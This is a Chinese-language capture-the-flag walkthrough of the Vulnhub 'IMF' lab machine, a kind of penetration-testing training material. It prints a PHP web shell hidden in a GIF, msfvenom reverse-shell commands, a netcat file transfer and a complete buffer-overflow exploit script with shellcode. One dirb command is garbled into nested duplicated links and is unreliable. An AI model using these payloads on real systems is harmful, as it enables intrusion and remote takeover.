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Vulnhub简介

Vulnhub 是一个面向公众开放的靶机平台,主旨是让任何人获得信息安全相关的的实战经验。里面有很多设计好的练习靶机镜像,每个镜像都有多个flag。网址 https://www.vulnhub.com/

下载链接

https://download.vulnhub.com/imf/IMF.ova

靶机说明

IMF 是一个初级难度的boot 2 root 靶机。 flag难度从简单到困难,并且每个flag都含有关于获取下一个flag的提示。作者邮箱geckom@redteamr.com。

目标

Boot2Root:查看flag, 获得root权限。

运行环境

Kali on WSL,

Windows10

主机IP:192.168.190.1

信息收集

启动IMF虚拟机,使用nmap扫描网段端口,发现主机IP 命令:

nmap -sn 192.168.190.1/24
⋊> ~ nmap -sn 192.168.190.1/24                                       

Nmap scan report for 192.168.190.128

Host is up (0.00s latency).

MAC Address: 00:0C:29:6C:59:6B (VMware)

Nmap scan report for 192.168.190.254

Host is up (0.00s latency).

MAC Address: 00:50:56:E8:51:DE (VMware)

Nmap scan report for 192.168.190.1

Host is up.

Nmap done: 256 IP addresses (3 hosts up) scanned in 28.20 seconds

发现主机IP之后再做深度扫描(-A参数)命令:

nmap -A 192.168.190.128
⋊> ~ nmap -A 192.168.190.128                                         

Nmap scan report for 192.168.190.128

Host is up (0.00046s latency).

Not shown: 999 filtered ports

PORT   STATE SERVICE VERSION

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: IMF - Homepage

MAC Address: 00:0C:29:6C:59:6B (VMware)

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose

Running: Linux 3.X|4.X

OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4

OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4

Network Distance: 1 hop

TRACEROUTE

HOP RTT     ADDRESS

1   0.46 ms 192.168.190.128

OS and Service detection performed. Please report any incorrect results at [https://nmap.org/submit/](https://nmap.org/submit/) .

Nmap done: 1 IP address (1 host up) scanned in 33.81 seconds

发现只有80端口开着,直接访问网页。

flag1

查看网页源码,在contact.php的源码里发现flag1:

0.png

base64解码后得到提示: allthefiles

flag2

根据提示,注意到contact.php里Js文件的名字是:1.pngbase64编码

将三个文件名按顺序排列再base64解码后发现flag2,

echo 'ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==' |base64 -d  

flag2{aW1mYWRtaW5pc3RyYXRvcg==}

再次bas64解码后得到提示:imfadministrator

flag3

0×01

访问192.168.190.128/imfadministrator后进入到登陆界面:

2.png

输入任意用户名显示 Invalid username,所以回到contact.php,复制联系人邮箱的前半部分,这里我用的是rmichaels, 之后就只是提示Invalid password了。

3.png

0×02

查看源码发现注释:

4.png

通过注释得知密码是直接写在php文件里的。

猜测是使用strcmp之类的来判断密码的。当strcmp的两个字符串参数相等的时候会返回0,但如果把string和array相比较的话,strcmp也会返回0。

所以将源码里的<input name="pass" value="" type="password">

修改成<input name="pass[]" value="" type="password">使pass参数变成array。

提交后发现flag3,base64解码后得到提示:continueTOcms

flag4

进入cms后浏览网页,发现URL里面pagename参数存在注入点,复制cookie信息然后使用sqlmap测试:

⋊> ~  sqlmap -u "[http://192.168.190.128/imfadministrator/cms.php?pagename=upload](http://192.168.190.128/imfadministrator/cms.php?pagename=upload)" --cookie "PHPSESSID=9q75n4adk0os5lultm4a5934t2" --dump

dump之后发现有一项tutorials-incomplete没被访问过,访问后发现一张带有二维码的图片,扫码获得flag4,解码后得到提示:uploadr942.php

flag5

根据提示,访问192.168.190.128/imfadministrator/uploadr942.php,进入到一个文件上传页面。

5.png

经过反复尝试发现只能提交图片类(jpg,png,gif)文件,并且有WAF和文件头过滤,传不了php shell,于是在php文件里写入:

<?php $s=$_GET['s']; echo `$s`; ?>

再使用windows命令:

copy /b 文件1+文件2 文件3

将php文件和图像文件合并。 上传后查看网页源码会发现一行注释:

6.png

注释就是重命名后的图片,但是图片不在imfadministrator目录下。接下来需要找到上传文件的位置,我猜测是在imfadministrator目录下的某个文件夹里,运行dirb爆破目录:

dirb "[[[[[[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/))]([[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)))]([[[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/))]([[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/))))]([[[[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/))]([[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)))]([[[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/))]([[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)))))]([[[[[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/))]([[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)))]([[[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/))]([[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/))))]([[[[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/))]([[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)))]([[[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/))]([[http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/)]([http://192.168.190.128/imfadministrator/](http://192.168.190.128/imfadministrator/))))))"

发现有一个uploads的文件夹,经过多次尝试发现只有gif文件可以执行PHP代码,访问192.168.190.128/imfadministrator/uploads/fc138a7b7253.gif?s=ls 后发现文件flag5_abc123def.txt, 将s参数设置为 cat flag5_abc123def.txt 后得到flag5, 解码后得到提示 agentservices

flag6

0×00

为了方便操作,我先上传了个php reverse shell:

msfvenom -p php/reverse_php LHOST=192.168.190.1 LPORT=4444 -e php/base64 -f raw > shell.php

然后将s参数设置为echo ‘<shell文件内容>’ >shell.php进行上传。

之后再上传一个php/meterpreter_reverse:

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.190.1 LPORT=4444 -e php/base64 -f raw > msf.php

然后在主机上使用命令:

nc -l 6666 < msf.php

在php shell内使用命令:

nc -nv 192.168.128.1 6666 > msf.php

之后使用msfconsole连接meterpreter shell:

use /exploit/multi/handler

set payload php/meterpreter_reverse_tcp

set LHOST=192.168.190.1

run

0×01

连接之后根据提示查找叫agent的服务。

Shell中输入 whereis agent 得到结果:agent: /usr/local/bin/agent

进入/usr/local/bin/ 目录发现还有一个叫access_codes的文件,打开后显示:

SYN 7482,8279,9467

看起来像是运行了knock。先按顺序扫描这三个端口:

nmap -p7482,8279,9467 -r 192.168.190.128

再重新扫描一遍靶机:

nmap -p1-65535 192.168.190.128

Nmap scan report for 192.168.190.128

Host is up (0.00022s latency).

Not shown: 65533 filtered ports

PORT     STATE SERVICE

80/tcp   open  http

7788/tcp open  unknown

MAC Address: 00:0C:29:6C:59:6B (VMware)

Nmap done: 1 IP address (1 host up) scanned in 109.28 seconds

发现新开了7788端口,连接端口发现是运行着agent程序。

0×02

Shell中输入agent运行程序:

7.png

随便输入Agent ID会让程序退出,运行ltrace agent

8.png

发现Agent ID是”’48093572”’,输入正确ID后出现选项:

9.png

其中选项2和3可以让用户输入内容,

如此看来是要通过缓冲区溢出7788端口的agent程序。

0×03

下载程序到主机,然后使用edb对程序进行测试:

edb --run agent

运行程序后先选择3.submit report进行测试:

运行/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1024来获取1024个测试字符,然后输入字符:

A.png

再用/usr/share/metasploit-­‐framework/tools/pattern_offset.rb -q 41366641反查:

[*] Exact match at offset 168

发现程序在第168个字符处溢出,再生成A168+B4+C*1000的测试字符:

B.png

发现EAX变成了一堆A,看能不能找到 ”’call eax”’。

/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb 22:37:10nasm > call eax 00000000 FFD0 call eax

edb里搜索FFD0,找到地址 0x08048563

C.png

重启程序发现地址不变,就选这个地址来作为EIP的值。

0×04

生成shell:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.190.1 LPORT=6666 -f python -b "\x00\x0a\x0d" > ATK.py       
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload                                   
[-] No arch selected, selecting arch: x86 from the payload                                                             
Found 10 compatible encoders                                                                                            
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai                                                    
x86/shikata_ga_nai succeeded with size 95 (iteration=0)                                                                
x86/shikata_ga_nai chosen with final size 95                                                                            
Payload size: 95 bytes                                                                                                  
Final size of python file: 470 bytes

编写exp:

import socket

import time

host = "192.168.190.128"

port = 7788

ret = "\x63\x85\x04\x08\n"

buf =  ""

buf += "\xbb\xa3\xdc\x2d\x95\xdb\xc2\xd9\x74\x24\xf4\x5f\x33"

buf += "\xc9\xb1\x12\x31\x5f\x12\x03\x5f\x12\x83\x64\xd8\xcf"

buf += "\x60\x5b\x3a\xf8\x68\xc8\xff\x54\x05\xec\x76\xbb\x69"

buf += "\x96\x45\xbc\x19\x0f\xe6\x82\xd0\x2f\x4f\x84\x13\x47"

buf += "\x90\xde\x5a\x96\x78\x1d\xa3\x82\x72\xa8\x42\x02\xe4"

buf += "\xfa\xd5\x31\x5a\xf9\x5c\x54\x51\x7e\x0c\xfe\x04\x50"

buf += "\xc2\x96\xb0\x81\x0b\x04\x28\x57\xb0\x9a\xf9\xee\xd6"

buf += "\xaa\xf5\x3d\x98"

buf += "A" * (168 - len(buf))

buf += ret

con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

con.connect((host, port))

print "Connected"

print con.recv(1024)

con.send(b"48093572\n")

print con.recv(1024)

con.send(b"3\n")

print con.recv(1024)

print "Sending evil buffer..."

con.send(buf)

print "done"

打开nc监听6666端口,然后就得到了root权限。

进入/root目录,得到TheEnd.txt和最后一个flag,解码得到Gh0stProt0c0ls。

D.png

总结

总体来说每一个flag都很清晰得提示了获得下一个flag的方法。

主要突破点:

从网页源码里的文件名找到flag;

将表单里pass转成array;

绕过WAF上传文件;

knock 服务器端口。